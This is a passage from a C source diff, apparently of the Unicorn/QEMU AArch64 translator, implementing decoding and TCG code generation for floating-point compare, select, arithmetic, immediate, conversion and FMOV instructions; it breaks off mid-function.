conditional compare + * 31 30 29 28 24 23 22 21 20 16 15 12 11 10 9 5 4 3 0 + * +---+---+---+-----------+------+---+------+------+-----+------+----+------+ + * | M | 0 | S | 1 1 1 1 0 | type | 1 | Rm | cond | 0 1 | Rn | op | nzcv | + * +---+---+---+-----------+------+---+------+------+-----+------+----+------+ + */ +static void disas_fp_ccomp(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int mos, type, rm, cond, rn, op, nzcv; + TCGv_i64 tcg_flags; + int label_continue = -1; + + mos = extract32(insn, 29, 3); + type = extract32(insn, 22, 2); /* 0 = single, 1 = double */ + rm = extract32(insn, 16, 5); + cond = extract32(insn, 12, 4); + rn = extract32(insn, 5, 5); + op = extract32(insn, 4, 1); + nzcv = extract32(insn, 0, 4); + + if (mos || type > 1) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (cond < 0x0e) { /* not always */ + int label_match = gen_new_label(tcg_ctx); + label_continue = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, cond, label_match); + /* nomatch: */ + tcg_flags = tcg_const_i64(tcg_ctx, nzcv << 28); + gen_set_nzcv(tcg_ctx, tcg_flags); + tcg_temp_free_i64(tcg_ctx, tcg_flags); + tcg_gen_br(tcg_ctx, label_continue); + gen_set_label(tcg_ctx, label_match); + } + + handle_fp_compare(s, type, rn, rm, false, op); + + if (cond < 0x0e) { + gen_set_label(tcg_ctx, label_continue); + } +} + +/* copy src FP register to dst FP register; type specifies single or double */ +static void gen_mov_fp2fp(DisasContext *s, int type, int dst, int src) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (type) { + TCGv_i64 v = read_fp_dreg(s, src); + write_fp_dreg(s, dst, v); + tcg_temp_free_i64(tcg_ctx, v); + } else { + TCGv_i32 v = read_fp_sreg(s, src); + write_fp_sreg(s, dst, v); + tcg_temp_free_i32(tcg_ctx, v); + } +} + +/* C3.6.24 Floating point conditional select + * 31 30 29 28 24 23 22 21 20 16 15 12 11 10 9 5 4 0 + * +---+---+---+-----------+------+---+------+------+-----+------+------+ + * | M | 0 | S | 1 1 1 1 0 | type | 1 | Rm | cond | 1 1 | Rn | Rd | + * +---+---+---+-----------+------+---+------+------+-----+------+------+ + */ +static void disas_fp_csel(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int mos, type, rm, cond, rn, rd; + int label_continue = -1; + + mos = extract32(insn, 29, 3); + type = extract32(insn, 22, 2); /* 0 = single, 1 = double */ + rm = extract32(insn, 16, 5); + cond = extract32(insn, 12, 4); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + + if (mos || type > 1) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (cond < 0x0e) { /* not always */ + int label_match = gen_new_label(tcg_ctx); + label_continue = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, cond, label_match); + /* nomatch: */ + gen_mov_fp2fp(s, type, rd, rm); + tcg_gen_br(tcg_ctx, label_continue); + gen_set_label(tcg_ctx, label_match); + } + + gen_mov_fp2fp(s, type, rd, rn); + + if (cond < 0x0e) { /* continue */ + gen_set_label(tcg_ctx, label_continue); + } +} + +/* C3.6.25 Floating-point data-processing (1 source) - single precision */ +static void handle_fp_1src_single(DisasContext *s, int opcode, int rd, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr fpst; + TCGv_i32 tcg_op; + TCGv_i32 tcg_res; + + fpst = get_fpstatus_ptr(tcg_ctx); + tcg_op = read_fp_sreg(s, rn); + tcg_res = tcg_temp_new_i32(tcg_ctx); + + switch (opcode) { + case 0x0: /* FMOV */ + tcg_gen_mov_i32(tcg_ctx, tcg_res, tcg_op); + break; + case 0x1: /* FABS */ + gen_helper_vfp_abss(tcg_ctx, tcg_res, tcg_op); + break; + case 0x2: /* FNEG */ + gen_helper_vfp_negs(tcg_ctx, tcg_res, tcg_op); + break; + case 0x3: /* FSQRT */ + gen_helper_vfp_sqrts(tcg_ctx, tcg_res, tcg_op, tcg_ctx->cpu_env); + break; + case 0x8: /* FRINTN */ + case 0x9: /* FRINTP */ + case 0xa: /* FRINTM */ + case 0xb: /* FRINTZ */ + case 0xc: /* FRINTA */ + { + TCGv_i32 tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(opcode & 7)); + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + gen_helper_rints(tcg_ctx, tcg_res, tcg_op, fpst); + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + break; + } + case 0xe: /* FRINTX */ + gen_helper_rints_exact(tcg_ctx, tcg_res, tcg_op, fpst); + break; + case 0xf: /* FRINTI */ + gen_helper_rints(tcg_ctx, tcg_res, tcg_op, fpst); + break; + default: + abort(); + } + + write_fp_sreg(s, rd, tcg_res); + + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i32(tcg_ctx, tcg_op); + tcg_temp_free_i32(tcg_ctx, tcg_res); +} + +/* C3.6.25 Floating-point data-processing (1 source) - double precision */ +static void handle_fp_1src_double(DisasContext *s, int opcode, int rd, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr fpst; + TCGv_i64 tcg_op; + TCGv_i64 tcg_res; + + fpst = get_fpstatus_ptr(tcg_ctx); + tcg_op = read_fp_dreg(s, rn); + tcg_res = tcg_temp_new_i64(tcg_ctx); + + switch (opcode) { + case 0x0: /* FMOV */ + tcg_gen_mov_i64(tcg_ctx, tcg_res, tcg_op); + break; + case 0x1: /* FABS */ + gen_helper_vfp_absd(tcg_ctx, tcg_res, tcg_op); + break; + case 0x2: /* FNEG */ + gen_helper_vfp_negd(tcg_ctx, tcg_res, tcg_op); + break; + case 0x3: /* FSQRT */ + gen_helper_vfp_sqrtd(tcg_ctx, tcg_res, tcg_op, tcg_ctx->cpu_env); + break; + case 0x8: /* FRINTN */ + case 0x9: /* FRINTP */ + case 0xa: /* FRINTM */ + case 0xb: /* FRINTZ */ + case 0xc: /* FRINTA */ + { + TCGv_i32 tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(opcode & 7)); + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + gen_helper_rintd(tcg_ctx, tcg_res, tcg_op, fpst); + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + break; + } + case 0xe: /* FRINTX */ + gen_helper_rintd_exact(tcg_ctx, tcg_res, tcg_op, fpst); + break; + case 0xf: /* FRINTI */ + gen_helper_rintd(tcg_ctx, tcg_res, tcg_op, fpst); + break; + default: + abort(); + } + + write_fp_dreg(s, rd, tcg_res); + + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i64(tcg_ctx, tcg_op); + tcg_temp_free_i64(tcg_ctx, tcg_res); +} + +static void handle_fp_fcvt(DisasContext *s, int opcode, + int rd, int rn, int dtype, int ntype) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (ntype) { + case 0x0: + { + TCGv_i32 tcg_rn = read_fp_sreg(s, rn); + if (dtype == 1) { + /* Single to double */ + TCGv_i64 tcg_rd = tcg_temp_new_i64(tcg_ctx); + gen_helper_vfp_fcvtds(tcg_ctx, tcg_rd, tcg_rn, tcg_ctx->cpu_env); + write_fp_dreg(s, rd, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + } else { + /* Single to half */ + TCGv_i32 tcg_rd = tcg_temp_new_i32(tcg_ctx); + gen_helper_vfp_fcvt_f32_to_f16(tcg_ctx, tcg_rd, tcg_rn, tcg_ctx->cpu_env); + /* write_fp_sreg is OK here because top half of tcg_rd is zero */ + write_fp_sreg(s, rd, tcg_rd); + tcg_temp_free_i32(tcg_ctx, tcg_rd); + } + tcg_temp_free_i32(tcg_ctx, tcg_rn); + break; + } + case 0x1: + { + TCGv_i64 tcg_rn = read_fp_dreg(s, rn); + TCGv_i32 tcg_rd = tcg_temp_new_i32(tcg_ctx); + if (dtype == 0) { + /* Double to single */ + gen_helper_vfp_fcvtsd(tcg_ctx, tcg_rd, tcg_rn, tcg_ctx->cpu_env); + } else { + /* Double to half */ + gen_helper_vfp_fcvt_f64_to_f16(tcg_ctx, tcg_rd, tcg_rn, tcg_ctx->cpu_env); + /* write_fp_sreg is OK here because top half of tcg_rd is zero */ + } + write_fp_sreg(s, rd, tcg_rd); + tcg_temp_free_i32(tcg_ctx, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_rn); + break; + } + case 0x3: + { + TCGv_i32 tcg_rn = read_fp_sreg(s, rn); + tcg_gen_ext16u_i32(tcg_ctx, tcg_rn, tcg_rn); + if (dtype == 0) { + /* Half to single */ + TCGv_i32 tcg_rd = tcg_temp_new_i32(tcg_ctx); + gen_helper_vfp_fcvt_f16_to_f32(tcg_ctx, tcg_rd, tcg_rn, tcg_ctx->cpu_env); + write_fp_sreg(s, rd, tcg_rd); + tcg_temp_free_i32(tcg_ctx, tcg_rd); + } else { + /* Half to double */ + TCGv_i64 tcg_rd = tcg_temp_new_i64(tcg_ctx); + gen_helper_vfp_fcvt_f16_to_f64(tcg_ctx, tcg_rd, tcg_rn, tcg_ctx->cpu_env); + write_fp_dreg(s, rd, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + } + tcg_temp_free_i32(tcg_ctx, tcg_rn); + break; + } + default: + abort(); + } +} + +/* C3.6.25 Floating point data-processing (1 source) + * 31 30 29 28 24 23 22 21 20 15 14 10 9 5 4 0 + * +---+---+---+-----------+------+---+--------+-----------+------+------+ + * | M | 0 | S | 1 1 1 1 0 | type | 1 | opcode | 1 0 0 0 0 | Rn | Rd | + * +---+---+---+-----------+------+---+--------+-----------+------+------+ + */ +static void disas_fp_1src(DisasContext *s, uint32_t insn) +{ + int type = extract32(insn, 22, 2); + int opcode = extract32(insn, 15, 6); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + + switch (opcode) { + case 0x4: case 0x5: case 0x7: + { + /* FCVT between half, single and double precision */ + int dtype = extract32(opcode, 0, 2); + if (type == 2 || dtype == type) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + + handle_fp_fcvt(s, opcode, rd, rn, dtype, type); + break; + } + case 0x0: case 0x1: case 0x2: case 0x3: + case 0x8: case 0x9: case 0xa: case 0xb: case 0xc: + case 0xe: case 0xf: + /* 32-to-32 and 64-to-64 ops */ + switch (type) { + case 0: + if (!fp_access_check(s)) { + return; + } + + handle_fp_1src_single(s, opcode, rd, rn); + break; + case 1: + if (!fp_access_check(s)) { + return; + } + + handle_fp_1src_double(s, opcode, rd, rn); + break; + default: + unallocated_encoding(s); + } + break; + default: + unallocated_encoding(s); + break; + } +} + +/* C3.6.26 Floating-point data-processing (2 source) - single precision */ +static void handle_fp_2src_single(DisasContext *s, int opcode, + int rd, int rn, int rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tcg_op1; + TCGv_i32 tcg_op2; + TCGv_i32 tcg_res; + TCGv_ptr fpst; + + tcg_res = tcg_temp_new_i32(tcg_ctx); + fpst = get_fpstatus_ptr(tcg_ctx); + tcg_op1 = read_fp_sreg(s, rn); + tcg_op2 = read_fp_sreg(s, rm); + + switch (opcode) { + case 0x0: /* FMUL */ + gen_helper_vfp_muls(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1: /* FDIV */ + gen_helper_vfp_divs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x2: /* FADD */ + gen_helper_vfp_adds(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3: /* FSUB */ + gen_helper_vfp_subs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x4: /* FMAX */ + gen_helper_vfp_maxs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5: /* FMIN */ + gen_helper_vfp_mins(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x6: /* FMAXNM */ + gen_helper_vfp_maxnums(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x7: /* FMINNM */ + gen_helper_vfp_minnums(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x8: /* FNMUL */ + gen_helper_vfp_muls(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + gen_helper_vfp_negs(tcg_ctx, tcg_res, tcg_res); + break; + } + + write_fp_sreg(s, rd, tcg_res); + + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + tcg_temp_free_i32(tcg_ctx, tcg_res); +} + +/* C3.6.26 Floating-point data-processing (2 source) - double precision */ +static void handle_fp_2src_double(DisasContext *s, int opcode, + int rd, int rn, int rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_op1; + TCGv_i64 tcg_op2; + TCGv_i64 tcg_res; + TCGv_ptr fpst; + + tcg_res = tcg_temp_new_i64(tcg_ctx); + fpst = get_fpstatus_ptr(tcg_ctx); + tcg_op1 = read_fp_dreg(s, rn); + tcg_op2 = read_fp_dreg(s, rm); + + switch (opcode) { + case 0x0: /* FMUL */ + gen_helper_vfp_muld(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1: /* FDIV */ + gen_helper_vfp_divd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x2: /* FADD */ + gen_helper_vfp_addd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3: /* FSUB */ + gen_helper_vfp_subd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x4: /* FMAX */ + gen_helper_vfp_maxd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5: /* FMIN */ + gen_helper_vfp_mind(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x6: /* FMAXNM */ + gen_helper_vfp_maxnumd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x7: /* FMINNM */ + gen_helper_vfp_minnumd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x8: /* FNMUL */ + gen_helper_vfp_muld(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + gen_helper_vfp_negd(tcg_ctx, tcg_res, tcg_res); + break; + } + + write_fp_dreg(s, rd, tcg_res); + + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_res); +} + +/* C3.6.26 Floating point data-processing (2 source) + * 31 30 29 28 24 23 22 21 20 16 15 12 11 10 9 5 4 0 + * +---+---+---+-----------+------+---+------+--------+-----+------+------+ + * | M | 0 | S | 1 1 1 1 0 | type | 1 | Rm | opcode | 1 0 | Rn | Rd | + * +---+---+---+-----------+------+---+------+--------+-----+------+------+ + */ +static void disas_fp_2src(DisasContext *s, uint32_t insn) +{ + int type = extract32(insn, 22, 2); + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int rm = extract32(insn, 16, 5); + int opcode = extract32(insn, 12, 4); + + if (opcode > 8) { + unallocated_encoding(s); + return; + } + + switch (type) { + case 0: + if (!fp_access_check(s)) { + return; + } + handle_fp_2src_single(s, opcode, rd, rn, rm); + break; + case 1: + if (!fp_access_check(s)) { + return; + } + handle_fp_2src_double(s, opcode, rd, rn, rm); + break; + default: + unallocated_encoding(s); + } +} + +/* C3.6.27 Floating-point data-processing (3 source) - single precision */ +static void handle_fp_3src_single(DisasContext *s, bool o0, bool o1, + int rd, int rn, int rm, int ra) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tcg_op1, tcg_op2, tcg_op3; + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + TCGv_ptr fpst = get_fpstatus_ptr(tcg_ctx); + + tcg_op1 = read_fp_sreg(s, rn); + tcg_op2 = read_fp_sreg(s, rm); + tcg_op3 = read_fp_sreg(s, ra); + + /* These are fused multiply-add, and must be done as one + * floating point operation with no rounding between the + * multiplication and addition steps. + * NB that doing the negations here as separate steps is + * correct : an input NaN should come out with its sign bit + * flipped if it is a negated-input. + */ + if (o1 == true) { + gen_helper_vfp_negs(tcg_ctx, tcg_op3, tcg_op3); + } + + if (o0 != o1) { + gen_helper_vfp_negs(tcg_ctx, tcg_op1, tcg_op1); + } + + gen_helper_vfp_muladds(tcg_ctx, tcg_res, tcg_op1, tcg_op2, tcg_op3, fpst); + + write_fp_sreg(s, rd, tcg_res); + + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + tcg_temp_free_i32(tcg_ctx, tcg_op3); + tcg_temp_free_i32(tcg_ctx, tcg_res); +} + +/* C3.6.27 Floating-point data-processing (3 source) - double precision */ +static void handle_fp_3src_double(DisasContext *s, bool o0, bool o1, + int rd, int rn, int rm, int ra) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_op1, tcg_op2, tcg_op3; + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + TCGv_ptr fpst = get_fpstatus_ptr(tcg_ctx); + + tcg_op1 = read_fp_dreg(s, rn); + tcg_op2 = read_fp_dreg(s, rm); + tcg_op3 = read_fp_dreg(s, ra); + + /* These are fused multiply-add, and must be done as one + * floating point operation with no rounding between the + * multiplication and addition steps. + * NB that doing the negations here as separate steps is + * correct : an input NaN should come out with its sign bit + * flipped if it is a negated-input. + */ + if (o1 == true) { + gen_helper_vfp_negd(tcg_ctx, tcg_op3, tcg_op3); + } + + if (o0 != o1) { + gen_helper_vfp_negd(tcg_ctx, tcg_op1, tcg_op1); + } + + gen_helper_vfp_muladdd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, tcg_op3, fpst); + + write_fp_dreg(s, rd, tcg_res); + + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_op3); + tcg_temp_free_i64(tcg_ctx, tcg_res); +} + +/* C3.6.27 Floating point data-processing (3 source) + * 31 30 29 28 24 23 22 21 20 16 15 14 10 9 5 4 0 + * +---+---+---+-----------+------+----+------+----+------+------+------+ + * | M | 0 | S | 1 1 1 1 1 | type | o1 | Rm | o0 | Ra | Rn | Rd | + * +---+---+---+-----------+------+----+------+----+------+------+------+ + */ +static void disas_fp_3src(DisasContext *s, uint32_t insn) +{ + int type = extract32(insn, 22, 2); + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int ra = extract32(insn, 10, 5); + int rm = extract32(insn, 16, 5); + bool o0 = extract32(insn, 15, 1); + bool o1 = extract32(insn, 21, 1); + + switch (type) { + case 0: + if (!fp_access_check(s)) { + return; + } + handle_fp_3src_single(s, o0, o1, rd, rn, rm, ra); + break; + case 1: + if (!fp_access_check(s)) { + return; + } + handle_fp_3src_double(s, o0, o1, rd, rn, rm, ra); + break; + default: + unallocated_encoding(s); + } +} + +/* C3.6.28 Floating point immediate + * 31 30 29 28 24 23 22 21 20 13 12 10 9 5 4 0 + * +---+---+---+-----------+------+---+------------+-------+------+------+ + * | M | 0 | S | 1 1 1 1 0 | type | 1 | imm8 | 1 0 0 | imm5 | Rd | + * +---+---+---+-----------+------+---+------------+-------+------+------+ + */ +static void disas_fp_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int imm8 = extract32(insn, 13, 8); + int is_double = extract32(insn, 22, 2); + uint64_t imm; + TCGv_i64 tcg_res; + + if (is_double > 1) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + /* The imm8 encodes the sign bit, enough bits to represent + * an exponent in the range 01....1xx to 10....0xx, + * and the most significant 4 bits of the mantissa; see + * VFPExpandImm() in the v8 ARM ARM. + */ + if (is_double) { + imm = (extract32(imm8, 7, 1) ? 0x8000 : 0) | + (extract32(imm8, 6, 1) ? 0x3fc0 : 0x4000) | + extract32(imm8, 0, 6); + imm <<= 48; + } else { + imm = (extract32(imm8, 7, 1) ? 0x8000 : 0) | + (extract32(imm8, 6, 1) ? 0x3e00 : 0x4000) | + (extract32(imm8, 0, 6) << 3); + imm <<= 16; + } + + tcg_res = tcg_const_i64(tcg_ctx, imm); + write_fp_dreg(s, rd, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_res); +} + +/* Handle floating point <=> fixed point conversions. Note that we can + * also deal with fp <=> integer conversions as a special case (scale == 64) + * OPTME: consider handling that special case specially or at least skipping + * the call to scalbn in the helpers for zero shifts. + */ +static void handle_fpfpcvt(DisasContext *s, int rd, int rn, int opcode, + bool itof, int rmode, int scale, int sf, int type) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_signed = !(opcode & 1); + bool is_double = type; + TCGv_ptr tcg_fpstatus; + TCGv_i32 tcg_shift; + + tcg_fpstatus = get_fpstatus_ptr(tcg_ctx); + + tcg_shift = tcg_const_i32(tcg_ctx, 64 - scale); + + if (itof) { + TCGv_i64 tcg_int = cpu_reg(s, rn); + if (!sf) { + TCGv_i64 tcg_extend = new_tmp_a64(s); + + if (is_signed) { + tcg_gen_ext32s_i64(tcg_ctx, tcg_extend, tcg_int); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_extend, tcg_int); + } + + tcg_int = tcg_extend; + } + + if (is_double) { + TCGv_i64 tcg_double = tcg_temp_new_i64(tcg_ctx); + if (is_signed) { + gen_helper_vfp_sqtod(tcg_ctx, tcg_double, tcg_int, + tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_uqtod(tcg_ctx, tcg_double, tcg_int, + tcg_shift, tcg_fpstatus); + } + write_fp_dreg(s, rd, tcg_double); + tcg_temp_free_i64(tcg_ctx, tcg_double); + } else { + TCGv_i32 tcg_single = tcg_temp_new_i32(tcg_ctx); + if (is_signed) { + gen_helper_vfp_sqtos(tcg_ctx, tcg_single, tcg_int, + tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_uqtos(tcg_ctx, tcg_single, tcg_int, + tcg_shift, tcg_fpstatus); + } + write_fp_sreg(s, rd, tcg_single); + tcg_temp_free_i32(tcg_ctx, tcg_single); + } + } else { + TCGv_i64 tcg_int = cpu_reg(s, rd); + TCGv_i32 tcg_rmode; + + if (extract32(opcode, 2, 1)) { + /* There are too many rounding modes to all fit into rmode, + * so FCVTA[US] is a special case. + */ + rmode = FPROUNDING_TIEAWAY; + } + + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(rmode)); + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + + if (is_double) { + TCGv_i64 tcg_double = read_fp_dreg(s, rn); + if (is_signed) { + if (!sf) { + gen_helper_vfp_tosld(tcg_ctx, tcg_int, tcg_double, + tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_tosqd(tcg_ctx, tcg_int, tcg_double, + tcg_shift, tcg_fpstatus); + } + } else { + if (!sf) { + gen_helper_vfp_tould(tcg_ctx, tcg_int, tcg_double, + tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_touqd(tcg_ctx, tcg_int, tcg_double, + tcg_shift, tcg_fpstatus); + } + } + tcg_temp_free_i64(tcg_ctx, tcg_double); + } else { + TCGv_i32 tcg_single = read_fp_sreg(s, rn); + if (sf) { + if (is_signed) { + gen_helper_vfp_tosqs(tcg_ctx, tcg_int, tcg_single, + tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_touqs(tcg_ctx, tcg_int, tcg_single, + tcg_shift, tcg_fpstatus); + } + } else { + TCGv_i32 tcg_dest = tcg_temp_new_i32(tcg_ctx); + if (is_signed) { + gen_helper_vfp_tosls(tcg_ctx, tcg_dest, tcg_single, + tcg_shift, tcg_fpstatus); + } else { + gen_helper_vfp_touls(tcg_ctx, tcg_dest, tcg_single, + tcg_shift, tcg_fpstatus); + } + tcg_gen_extu_i32_i64(tcg_ctx, tcg_int, tcg_dest); + tcg_temp_free_i32(tcg_ctx, tcg_dest); + } + tcg_temp_free_i32(tcg_ctx, tcg_single); + } + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + + if (!sf) { + tcg_gen_ext32u_i64(tcg_ctx, tcg_int, tcg_int); + } + } + + tcg_temp_free_ptr(tcg_ctx, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); +} + +/* C3.6.29 Floating point <-> fixed point conversions + * 31 30 29 28 24 23 22 21 20 19 18 16 15 10 9 5 4 0 + * +----+---+---+-----------+------+---+-------+--------+-------+------+------+ + * | sf | 0 | S | 1 1 1 1 0 | type | 0 | rmode | opcode | scale | Rn | Rd | + * +----+---+---+-----------+------+---+-------+--------+-------+------+------+ + */ +static void disas_fp_fixed_conv(DisasContext *s, uint32_t insn) +{ + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int scale = extract32(insn, 10, 6); + int opcode = extract32(insn, 16, 3); + int rmode = extract32(insn, 19, 2); + int type = extract32(insn, 22, 2); + bool sbit = extract32(insn, 29, 1); + bool sf = extract32(insn, 31, 1); + bool itof; + + if (sbit || (type > 1) + || (!sf && scale < 32)) { + unallocated_encoding(s); + return; + } + + switch ((rmode << 3) | opcode) { + case 0x2: /* SCVTF */ + case 0x3: /* UCVTF */ + itof = true; + break; + case 0x18: /* FCVTZS */ + case 0x19: /* FCVTZU */ + itof = false; + break; + default: + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + handle_fpfpcvt(s, rd, rn, opcode, itof, FPROUNDING_ZERO, scale, sf, type); +} + +static void handle_fmov(DisasContext *s, int rd, int rn, int type, bool itof) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* FMOV: gpr to or from float, double, or top half of quad fp reg, + * without conversion. + */ + + if (itof) { + TCGv_i64 tcg_rn = cpu_reg(s, rn); + + switch (type) { + case 0: + { + /* 32 bit */ + TCGv_i64 tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ext32u_i64(tcg_ctx, tmp, tcg_rn); + tcg_gen_st_i64(tcg_ctx, tmp, tcg_ctx->cpu_env, fp_reg_offset(s, rd, MO_64)); + tcg_gen_movi_i64(tcg_ctx, tmp, 0); + tcg_gen_st_i64(tcg_ctx, tmp, tcg_ctx->cpu_env, fp_reg_hi_offset(s, rd)); + tcg_temp_free_i64(tcg_ctx, tmp); + break; + } + case 1: + { + /* 64 bit */ + TCGv_i64 tmp = tcg_const_i64(tcg_ctx, 0); + tcg_gen_st_i64(tcg_ctx, tcg_rn, tcg_ctx->cpu_env, fp_reg_offset(s, rd, MO_64)); + tcg_gen_st_i64(tcg_ctx, tmp, tcg_ctx->cpu_env, fp_reg_hi_offset(s, rd)); + tcg_temp_free_i64(tcg_ctx, tmp); + break; + } + case 2: + /* 64 bit to top half. */ + tcg_gen_st_i64(tcg_ctx, tcg_rn, tcg_ctx->cpu_env, fp_reg_hi_offset(s, rd)); + break; + } + } else { + TCGv_i64 tcg_rd = cpu_reg(s, rd); + + switch (type) { + case 0: + /* 32 bit */ + tcg_gen_ld32u_i64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, fp_reg_offset(s, rn, MO_32)); + break; + case 1: + /* 64 bit */ + tcg_gen_ld_i64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, fp_reg_offset(s, rn, MO_64)); + break; + case 2: + /* 64 bits from top half */ + tcg_gen_ld_i64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, fp_reg_hi_offset(s, rn)); + break; + } + } +} + +/* C3.6.30 Floating point <-> integer conversions + * 31 30 29 28 24 23 22 21 20 19 18 16 15 10 9 5 4 0 + * +----+---+---+-----------+------+---+-------+-----+-------------+----+----+ + * | sf | 0 | S | 1 1 1 1 0 | type | 1 | rmode | opc | 0 0 0 0 0 0 | Rn | Rd | + * +----+---+---+-----------+------+---+-------+-----+-------------+----+----+ + */ +static void disas_fp_int_conv(DisasContext *s, uint32_t insn) +{ + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int opcode = extract32(insn, 16, 3); + int rmode = extract32(insn, 19, 2); + int type = extract32(insn, 22, 2); + bool sbit = extract32(insn, 29, 1); + bool sf = extract32(insn, 31, 1); + + if (sbit) { + unallocated_encoding(s); + return; + } + + if (opcode > 5) { + /* FMOV */ + bool itof = opcode & 1; + + if (rmode >= 2) { + unallocated_encoding(s); + return; + } + + switch (sf << 3 | type << 1 | rmode) { + case 0x0: /* 32 bit */ + case 0xa: /* 64 bit */ + case 0xd: /* 64 bit to top half of quad */ + break; + default: + /* all other sf/type/rmode combinations are invalid */ + unallocated_encoding(s); + break; + } + + if (!fp_access_check(s)) { + return; + } + handle_fmov(s, rd, rn, type, itof); + } else { + /* actual FP conversions */ + bool itof = 